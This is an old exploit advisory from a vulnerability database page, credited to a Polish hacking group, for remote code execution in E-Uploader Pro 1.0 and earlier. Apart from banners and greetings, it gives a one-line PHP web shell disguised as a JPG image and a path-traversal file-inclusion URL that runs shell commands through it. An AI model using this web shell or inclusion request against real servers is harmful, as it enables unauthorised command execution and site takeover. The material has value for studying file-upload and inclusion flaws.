Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:14703
HistoryOct 15, 2006 - 12:00 a.m.

E-Uploader Pro <= 1.0 Remote Code Execution Vulnerabilities

2006-10-1500:00:00
vulners.com
11

::::::::: :::::::::: ::: ::: ::::::::::: :::
:+: :+: :+: :+: :+: :+: :+:
+:+ +:+ +:+ +:+ +:+ +:+ +:+
+#+ +:+ +#++:++# +#+ +:+ +#+ +#+
+#+ +#+ +#+ +#+ +#+ +#+ +#+
#+# #+# #+# #+#+#+# #+# #+#
######### ########## ### ########### ##########
::::::::::: :::::::::: ::: :::: ::::
:+: :+: :+: :+: +:+:+: :+:+:+
+:+ +:+ +:+ +:+ +:+ +:+:+ +:+
+#+ +#++:++# +#++:++#++: +#+ +:+ +#+
+#+ +#+ +#+ +#+ +#+ +#+
#+# #+# #+# #+# #+# #+#
### ########## ### ### ### ###

+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+

      • [DEVIL TEAM THE BEST POLISH TEAM] - -

+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+

  • E-Uploader Pro <= 1.0 Remote Code Execution Vulnerabilities

+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+

+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+

  •      Find by: Kacper &#40;a.k.a Rahim&#41;
    
  • DEVIL TEAM IRC: 72.20.18.6:6667 #devilteam

+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+

  • Special Greetz: DragonHeart ;-)
  • Ema: Leito, Leon, Adam, DeathSpeed, Drzewko, pepi, mivus
  •  SkD, nukedclx, Ramzes, t3k, dn0d&#39;e, sysios, SpiderZ
    
  • Greetz for all users DEVIL TEAM IRC Channel !!
    !@ Przyjazni nie da sie zamienic na marne korzysci @!

+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+

  •        Z Dedykacja dla osoby,
    
  •     bez ktorej nie mogl bym zyc...
    
  •       K.C:* J.M &#40;a.k.a Magaja&#41;
    

+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

devilteam.jpg source: <?php ob_clean();echo"Hacker_Kacper_Made_in_Poland:)";ini_set("max_execution_time",0);passthru($_GET["cmd"]);die;?>

Name:: devilteam
Email:
[email protected]
File:* upload evil devilteam.jpg ;]

Click: Upload

then…

[devilteam.jpg] uploaded

Your upload has been successful!

…

Uploader Name
devilteam639

Now insert:

http://strona.pl/uploader/include/config.php?language=../../root/devilteam639/devilteam.jpg?cmd=ls -la

echo Hacker_Kacper_Made_in_Poland:)

E-Uploader Pro Game Over ;]

DEVIL TEAM IRC: 72.20.18.6:6667 #devilteam